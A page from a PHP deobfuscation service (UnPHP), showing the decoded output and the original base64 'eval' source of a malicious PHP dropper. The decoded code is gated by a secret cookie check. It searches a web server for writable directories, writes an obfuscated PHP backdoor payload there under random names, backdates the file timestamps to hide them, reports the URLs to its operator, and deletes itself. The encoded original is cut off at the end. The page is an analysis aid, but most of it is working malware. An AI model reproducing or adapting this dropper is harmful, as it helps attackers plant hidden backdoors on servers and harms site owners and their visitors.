Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

UnPHP Decode Recent API Services Contact Find this useful? Enter your email to re..

Decoded Output download

UnPHP 
Decode 
Recent 
API 
Services 
Contact 
 
 Find this useful? Enter your email to receive occasional updates for securing PHP code. 
Email Address 
Email Address 
PHP Decode 
<?php eval(base64_decode('aWYgKCFpc3NldCgkX0NPT0tJRVszNTVdKSBvciBtZDUoJF9DT09LSUVbMzU1XSkg.. 
 
Decoded Output download 
<?php if (!isset($_COOKIE[355]) or md5($_COOKIE[355]) != "53a302ee40d595d853e4cb2a85ed4894") die(); 
if (!defined("PHP_EOL")) { 
    define("PHP_EOL", " 
"); 
} 
if (!defined("DIRECTORY_SEPARATOR")) { 
    define("DIRECTORY_SEPARATOR", "/"); 
} 
function generateRandomString($length = 10) { 
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; 
    $charactersLength = strlen($characters); 
    $randomString = ''; 
    for ($i = 0;$i < $length;$i++) { 
        $randomString.= $characters[rand(0, $charactersLength - 1) ]; 
    } 
    return $randomString . ".php"; 
} 
$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7"; 
$payload_name = ""; 
srand(time()); 
///////////////////////////////////////////////////////// 
function comparer($a, $b) { 
    return strlen($a) - strlen($b); 
} 
if (!function_exists('file_put_contents')) { 
    function file_put_contents($filename, $data) { 
        $f = @fopen($filename, 'w'); 
        if (!$f) { 
            return false; 
        } else { 
            $bytes = fwrite($f, $data); 
            fclose($f); 
            return $bytes; 
        } 
    } 
} 
function GetPathDiff($base_path, $full_path) { 
    $pos = strpos($full_path, $base_path); 
    if ($pos === FALSE) { 
        return FALSE; 
    } 
    return substr($full_path, $pos + strlen($base_path)); 
} 
function GetWritableDirs() { 
    $res = Array(); 
    $analysys_queue = Array(); 
    $analysys_queue[] = GetDocRoot(); 
    $self_path = $_SERVER['SCRIPT_FILENAME']; 
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) { 
        $self_path = substr($self_path, 0, $slash); 
        if ($self_path == GetDocRoot()) { 
            break; 
        } 
        if (strlen($self_path)) { 
            $analysys_queue[] = $self_path; 
        } 
    } 
    foreach ($analysys_queue as $current_dir) { 
        if (!in_array($current_dir, $res)) { 
            $res = array_merge($res, GetDirectoryList($current_dir)); 
        } 
    } 
    $res = array_merge($analysys_queue, $res); 
    return CheckWritable(array_unique($res)); 
} 
function CheckWritable($dir_list) { 
    $dir_list_writable = Array(); 
    foreach ($dir_list as $dir) { 
        if (@is_writable($dir) == TRUE) { 
            $dir_list_writable[] = $dir; 
        } 
    } 
    return $dir_list_writable; 
} 
function GetDirectoryList($dir, $depth = 1000) { 
    $result = array(); 
    $dir_count = 0; 
    if ($depth == 0) { 
        return $result; 
    } 
    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/'); 
    $h = @opendir($dir); 
    if ($h === FALSE) { 
        return $result; 
    } 
    while (($f = readdir($h)) !== FALSE) { 
        if ($f !== '.' and $f !== '..') { 
            $current_dir = "$dir/$f"; 
            if (is_dir($current_dir)) { 
                $dir_count+= 1; 
                if ($dir_count >= $depth) { 
                    break; 
                } 
                $result[] = $current_dir; 
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10)); 
            } 
        } 
    } 
    closedir($h); 
    return $result; 
} 
function GetDocRoot() { 
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']); 
    if ($docroot_end === FALSE) { 
        return $_SERVER['DOCUMENT_ROOT']; 
    } elseif ($docroot_end === 0) { 
        return "/"; 
    } else { 
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end); 
    } 
} 
function GetPayload($payload) { 
    $current_payload = base64_decode($payload); 
    return $current_payload; 
} 
function WritePayload($path, $payload) { 
    if (!file_exists($path)) { 
        if (file_put_contents($path, GetPayload($payload)) != FALSE) { 
            return TRUE; 
        } 
    } 
    return FALSE; 
} 
//////////////////////////////////////////////////////////////////////////////////////////// 
# get base local and remote path 
$base_www_path = $host = @$_SERVER['HTTP_HOST']; 
$base_local_path = GetDocRoot(); 
if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) { 
    if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) { 
        if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) { 
            if (!($base_local_path_time = @stat($base_local_path . "/.."))) { 
                if (!($base_local_path_time = @stat($base_local_path))) { 
                    $base_local_path_time = Array(); 
                    $base_local_path_time['mtime'] = time(); 
                } 
            } 
        } 
    } 
} 
$base_local_path_time = $base_local_path_time['mtime']; 
$dir_list_writable = GetWritableDirs(); 
if (count($dir_list_writable) == 0) { 
    echo "URL#STATUS_UNWRITABLE"; 
    unlink("Jwlsjd_baaqifg.php"); 
    exit(); 
} 
usort($dir_list_writable, 'comparer'); # sort directory by len 
$list_writable = Array(); 
$list_writable[] = $dir_list_writable[0]; 
$list_writable[] = $dir_list_writable[rand(0, sizeof($dir_list_writable)) ]; 
$good = FALSE; 
$good_counter = 0; 
# try to upload 
$max_tryes = strlen($payload_name) == 0 ? 5 : 1; 
foreach ($list_writable as $current_dir) { 
    // if payload name is set, no more one try to upload on current dir 
    //for ($i=0; $i < $max_tryes; $i++) 
    { 
        if (strlen($payload_name) == 0) { 
            $temp_payload_name = generateRandomString(); 
        } else { 
            $temp_payload_name = $payload_name; 
        } 
        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name; 
        $uri_path = GetPathDiff($base_local_path, $full_payload_name); 
        if (strpos($uri_path, $temp_payload_name) === false) { 
            $uri_path = $uri_path . "/" . $temp_payload_name; 
        } 
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path); 
        if (WritePayload($full_payload_name, $payload_file)) { 
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder 
            chmod($full_payload_name, 0755); 
            echo "BRURL#http://" . $full_uri . PHP_EOL; 
            $good = TRUE; 
            $good_counter++; 
            if ($good_counter > 1) { 
                unlink("Jwlsjd_baaqifg.php"); 
                echo "#CCCURL"; 
                exit(); 
            } 
        } 
    } 
} 
if (!$good) echo "URL#STATUS_CANTUPLOAD#CCCURL"; 
echo "#CCCURL"; 
unlink("Jwlsjd_baaqifg.php"); 
exit(); 
Did this file decode correctly? 
Original Code 
<?php eval(base64_decode('aWYgKCFpc3NldCgkX0NPT0tJRVszNTVdKSBvciBtZDUoJF9DT09LSUVbMzU1XSkgIT0iNTNhMzAyZWU0MGQ1OTVkODUzZTRjYjJhODVlZDQ4OTQiKSBkaWUoKTsNCg0KaWYoIWRlZmluZWQoIlBIUF9FT0wiKSkNCnsNCiAgICBkZWZpbmUoIlBIUF9FT0wiLCAiXG4iKTsNCn0NCg0KaWYoIWRlZmluZWQoIkRJUkVDVE9SWV9TRVBBUkFUT1IiKSkNCnsNCiAgICBkZWZpbmUoIkRJUkVDVE9SWV9TRVBBUkFUT1IiLCAiLyIpOw0KfQ0KDQpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbVN0cmluZygkbGVuZ3RoID0gMTApDQp7DQogICAgJGNoYXJhY3RlcnMgPSAnMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzsNCiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7DQogICAgJHJhbmRvbVN0cmluZyA9ICcnOw0KICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOw0KICAgIH0NCiAgICByZXR1cm4gJHJhbmRvbVN0cmluZyAuICIucGhwIjsNCn0NCg0KJHBheWxvYWRfZmlsZSA9ICJQRDl3YUhBTkNnMEtEUXBsZG1Gc0tDSmNibHdrWkdkeVpYVnpaR2tnUFNCcGJuUjJZV3dvWDE5TVNVNUZYMThwSUNvZ016TTNPeUlwT3cwS0RRb2tZU0E5SUNJM1ZtUnlWQ3RPUjBaUU1XVnhaamxvYVVOSlkwdDNTRVpxTjBOc1NWRm9Na0prTVZZMllrbDBhRlphUXpGS2J6UnJNbEZUZG5wU01qWTNOSEpoUmk4NU5IcEVhemM0UjB4UGIzVTFWelpWYnpKTk4xcHNlbm96TTAxdVZITXpTbnA2WjFSemVWTnNjMkUyTnpSRFNWaHFhRkpQZEZFNU5XWllNWHB2TDFjckwwbGlhRTlPWjJwTlQxTnJjVUp4VW1KdVptWndkbU5RZFcxaWRFbGxRbWMwUTJaa1drRlJaRTFQZFdnME0wOWtTa3MxTWxGbU0wdDVVMkZPU1dnMk56UjJjWGhYVWtGNmRrWm5MMWQ0Y1VoQmNFY3pVMnh3VGxvd00ydzFZeTkyYW5OcVRrTmFUazUzZW01dVJHeG9kMEZpU0RKVlpYbERkbGN4ZWtZdmNsSTBWVFZvT1hwM2NIbERaa0p1VkVOb1RVOUVTbFVyYjNSRUswaG9jRWxwVDJzNGNHMUNPSFUwVWs1TU5qYzBhVnBoZW5CRVJ6ZE5RakpTYzNkT1VqWjVNVkpsYjJSc1drbHpUblpNWVhaMk5qYzBlSGxWZEhWS00wcDFlVmQxU1hkTmVIcEVTUzl5TVRoa1RqVkNZVUp0TjNKRFptTnVSa2hLT0d4MFJsVk9hMWRFU2xGblUydGFTSFpxSzNaVGJtNHlLMDA0VDBwek9IWnlhU3RxVWl0bE1sbFpWamNyZGxScU9XTmxaVGwyWW1zMU4ySTJOVmhhZUdaWWFIWklSRXc1TjJzNVZ5OXVOemswTWsxdEszRkNjMEZhUm05NVkwOUNOamMwT0cxTlUzQmpMMmhIVTA1WmFuUlRXVGxCWTJ0bVIySkxjMUZaV25Gd2VFdHlTRVkyTnpSMVpYbzFZMWgyTXpac1JITkNlVWxoVEZKUFlVOVpSRWRxZDNBelYyZzNiVmxSVW0wcldIZFRWbEpQY25sTFZrNWplVXRrTDB3MlpYRnNkRmh0YkhOS2VHVmFWbnBNU1RJcmJYSTBNaTlZZHpaYU1EWTRSMUJ2T0dwMlNHUmhhMWx6YWtSNlYydFJTSGhRUkc5TlFsVXlXVmwxWTJsWVIwMTFMMHhXZGtSSVJuQk9RWEI0ZHpseVEwZFVOMjg1YTIxVVNIbEdRbEJNV1dneEwzWXhRemR4VjIwMlZubHpOREZqTTJoaGVYVTJkV2xDVEhwa2FIUnRPRE5tTlRBMVNuSnpVRzFIUW1ST2FVcHhTMEVyTjBFdlJrdERUemRpWmtrM1NGaHRaRVIxVmxVemVscHVaRE52YkU4NVZHaExTUzl6TmpjME0yTnhWMjFYT1RWWWVEUk1TM2haWkdOelZsTmFWV0pFZFhWSlpYSTVUbTh4ZFU1NmFsYzBPQzlDUVdSc2NXeDJWalp6VUZJeWFXcGpXa3g1YldOU1J6bE5XbGN3V0dwSFZESmplalkzTkdGVVYyTm5iV1pFWVVzMGJrRXdSM3BPVGpFNGJHZFJRMjloYm5FdmRYQXdURkZxTmpGalJscEpVR2h5VDJ0SmFHRjJaVXBKVjJoaWQwTTRTbVZYTUdOWVIwbDNNMlVyUmpaNFIyeFJjWEY1YVhSUmJUWXhZVXR1WkVGWVoxTlVZVTFzTmpjMEsydFBaVUUwWlhJclIyRnpaQzlrVFhwUlJtdE1ibFJWU2padFoyeFBVQzk1YTB4bmFGSlZWV0Z2TWpjNWIyNXdka3RLU1ZKRFJtdEplVEIxTldaUk5XcExTek5sVG1zeksxcDJkRkpaVlZNeGRIcFNRazlMUkZSV2JrZ3lkbEJuU2s1R2MxQlZNV1JuVm1wUllVZFpOVU5uUzBJeFFrWjBWVWxYTjNjME5qYzBOVlZITmpjMFRqVnRhV2xvVkVSR1RtRnFWWE5STW5Oc09HODBablZMZW1Gb1UyMXFaVEk1YzBGMGJuaHJPR2xDWVVwM2NtWm9XV3A0YlVscGRYUnRLMFpyTmtjeFUzVTNhaXRsTUdKdVl5c3ZMMEZQUjBKWFpuRXlUM0ZUU0hOYU5UZ3lhVmhEV0djclJFSTNhR1kwWmpSUE9YazJOelEyTnpSMWNtY3ZiMUZSVVM5RVpFeGlUa0puWjNkUWFVaFJTa000U1VoUGEwWnBRVVJrYUdkQlJ6WTNORUZaWjBKcVFVZFJRVnBSUW0xSVNtRlpWRUZwV2xWblR6WTNORlJCYVZvMk56UkVTamM1Wm1GWlNVUk9RbHB2VEUxb1JrdHlWM3BaVGtsQmRHdEdjMmR6YTBaclozTjVRbXRSWTJsRGEwRlZhRWN3Y0hRMFIzcG5ZazlyVEdORVduZE9ia1F5Y1hoTGFFUlROamMwWWxGcU1FazVZamRoV2xCdFpqaExjMm94UmxZNVNXbHdZVEpwYlZOSk5Va3haSFYxZVRKRFpEWndaV05tY0cxb1JqYzBlbE5sU25NeVltRnNjekp6WW1ScldqSkNWa3R5YzBGcFZsSnFaRkYxTm1RMlptNHJkbXMyUVdkaWRrdzFUR3MxWm5OWmNGUXdZVFkzTkZWV1NqZFVPRzlqUjBSQ1lYVlRiSFIzVFVadU5tUnZOWGt3YVZaSFNsWmtiMXBXTjNod1Iza3JTVUYyTkRsclNsbHBSbTEyY0daRVVrMWFXVTAyTnpSWmVYWmxWbXg2WVRKSE5pc3hTR0o2Y3pKM00xTTNXV1ptUVVoVWNscGxZV0p5TTFrNVJISm9TamgyTDNOak1uSkxabU5aTmtkVmFVaGFUM1V5WjNjek0xRlFSRW95Vm1SWVJHODFVSE5pY0hCc1REY3hTa3h6UkRsSlprMDJOMU4wUXpZM05HbFFVMFJzVUZwT1duWmlaak12UjJGVFRWSTBVVmM1TTBKYWFpdEVNVzFhYTBSa1ltWWlPdzBLSkdFZ1BTQnpkSEpmY21Wd2JHRmpaU2drWkdkeVpYVnpaR2tzSUNKRklpd2dKR0VwT3cwS1pYWmhiQ0FvWjNwcGJtWnNZWFJsS0dKaGMyVTJORjlrWldOdlpHVW9KR0VwS1NrNyI7DQokcGF5bG9hZF9uYW1lID0gIiI7DQoNCnNyYW5kKHRpbWUoKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gY29tcGFyZXIoJGEsICRiKQ0Kew0KICAgIHJldHVybiBzdHJsZW4oJGEpLXN0cmxlbigkYik7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7DQogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCAkZGF0YSkgew0KICAgICAgICAkZiA9IEBmb3BlbigkZmlsZW5hbWUsICd3Jyk7DQogICAgICAgIGlmICghJGYpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRieXRlcyA9IGZ3cml0ZSgkZiwgJGRhdGEpOw0KICAgICAgICAgICAgZmNsb3NlKCRmKTsNCiAgICAgICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIEdldFBhdGhEaWZmKCRiYXNlX3BhdGgsICRmdWxsX3BhdGgpDQp7DQogICAgJHBvcyA9IHN0cnBvcygkZnVsbF9wYXRoLCAkYmFzZV9wYXRoKTsNCg0KICAgIGlmICgkcG9zID09PSBGQUxTRSkNCiAgICB7DQogICAgICAgIHJldHVybiBGQUxTRTsNCiAgICB9DQoNCiAgICByZXR1cm4gc3Vic3RyKCRmdWxsX3BhdGgsICRwb3MgKyBzdHJsZW4oJGJhc2VfcGF0aCkpOw0KfQ0KDQpmdW5jdGlvbiBHZXRXcml0YWJsZURpcnMoKQ0Kew0KICAgICRyZXMgPSBBcnJheSgpOw0KDQogICAgJGFuYWx5c3lzX3F1ZXVlID0gQXJyYXkoKTsNCg0KICAgICRhbmFseXN5c19xdWV1ZVtdID0gR2V0RG9jUm9vdCgpOw0KDQogICAgJHNlbGZfcGF0aCA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsNCiAgICB3aGlsZSAoKCRzbGFzaCA9IHN0cnJwb3MoJHNlbGZfcGF0aCwgRElSRUNUT1JZX1NFUEFSQVRPUikpICE9PSBGQUxTRSkNCiAgICB7DQogICAgICAgICRzZWxmX3BhdGggPSBzdWJzdHIoJHNlbGZfcGF0aCwgMCwgJHNsYXNoKTsNCg0KICAgICAgICBpZiAoJHNlbGZfcGF0aCA9PSBHZXREb2NSb290KCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKHN0cmxlbigkc2VsZl9wYXRoKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGFuYWx5c3lzX3F1ZXVlW10gPSAkc2VsZl9wYXRoOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZm9yZWFjaCAoJGFuYWx5c3lzX3F1ZXVlIGFzICRjdXJyZW50X2RpcikNCiAgICB7DQogICAgICAgIGlmICghaW5fYXJyYXkoJGN1cnJlbnRfZGlyLCAkcmVzKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyKSk7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5X21lcmdlKCRhbmFseXN5c19xdWV1ZSwgJHJlcyk7DQoNCiAgICByZXR1cm4gQ2hlY2tXcml0YWJsZShhcnJheV91bmlxdWUoJHJlcykpOw0KfQ0KDQpmdW5jdGlvbiBDaGVja1dyaXRhYmxlKCRkaXJfbGlzdCkNCnsNCiAgICAkZGlyX2xpc3Rfd3JpdGFibGUgPSBBcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGRpcl9saXN0IGFzICRkaXIpDQogICAgew0KICAgICAgICBpZiAoQGlzX3dyaXRhYmxlKCRkaXIpID09IFRSVUUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRkaXJfbGlzdF93cml0YWJsZVtdID0gJGRpcjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiAkZGlyX2xpc3Rfd3JpdGFibGU7DQp9DQoNCmZ1bmN0aW9uIEdldERpcmVjdG9yeUxpc3QoJGRpciwgJGRlcHRoPTEwMDApDQp7DQoNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkZGlyX2NvdW50ID0gMDsNCg0KICAgIGlmICgkZGVwdGggPT0gMCkNCiAgICB7DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCg0KICAgICRkaXIgPSBzdHJsZW4oJGRpcikgPT0gMSA/ICRkaXIgOiBydHJpbSgkZGlyLCAnXFwvJyk7DQogICAgJGggPSBAb3BlbmRpcigkZGlyKTsNCiAgICBpZiAoJGggPT09IEZBTFNFKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KDQogICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogICAgew0KICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpDQogICAgICAgIHsNCiAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICIkZGlyLyRmIjsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZGlyX2NvdW50ICs9IDE7DQoNCiAgICAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+PSAkZGVwdGgpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyLCAkZGVwdGggLyAxMCkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgY2xvc2VkaXIoJGgpOw0KDQogICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIEdldERvY1Jvb3QoKQ0Kew0KICAgICRkb2Nyb290X2VuZCA9IHN0cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7DQogICAgaWYgKCRkb2Nyb290X2VuZCA9PT0gRkFMU0UpDQogICAgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCiAgICB9DQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApDQogICAgew0KICAgICAgICByZXR1cm4gIi8iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIEdldFBheWxvYWQoJHBheWxvYWQpDQp7DQogICAgJGN1cnJlbnRfcGF5bG9hZCA9IGJhc2U2NF9kZWNvZGUoJHBheWxvYWQpOw0KDQogICAgcmV0dXJuICRjdXJyZW50X3BheWxvYWQ7DQp9DQoNCmZ1bmN0aW9uIFdyaXRlUGF5bG9hZCgkcGF0aCwgJHBheWxvYWQpDQp7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpDQogICAgew0KICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIEdldFBheWxvYWQoJHBheWxvYWQpKSAhPSBGQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIHJldHVybiBGQUxTRTsNCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KIyBnZXQgYmFzZSBsb2NhbCBhbmQgcmVtb3RlIHBhdGgNCiRiYXNlX3d3d19wYXRoID0gJGhvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJhc2VfbG9jYWxfcGF0aCA9IEdldERvY1Jvb3QoKTsNCg0KaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy5odGFjY2VzcyIpKSkNCnsNCiAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXgucGhwIikpKQ0KICAgIHsNCiAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4Lmh0bWwiKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uLiIpKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoKSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ10gPSB0aW1lKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KDQokYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ107DQoNCiRkaXJfbGlzdF93cml0YWJsZSA9IEdldFdyaXRhYmxlRGlycygpOw0KDQppZiAoY291bnQoJGRpcl9saXN0X3dyaXRhYmxlKSA9PSAwKQ0Kew0KICAgIGVjaG8gIlVSTCNTVEFUVVNfVU5XUklUQUJMRSI7DQogICAgdW5saW5rKCJKd2xzamRfYmFhcWlmZy5waHAiKTsNCiAgICBleGl0KCk7DQp9DQoNCnVzb3J0KCRkaXJfbGlzdF93cml0YWJsZSwgJ2NvbXBhcmVyJyk7ICMgc29ydCBkaXJlY3RvcnkgYnkgbGVuDQoNCiRsaXN0X3dyaXRhYmxlID0gQXJyYXkoKTsNCiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbMF07DQokbGlzdF93cml0YWJsZVtdI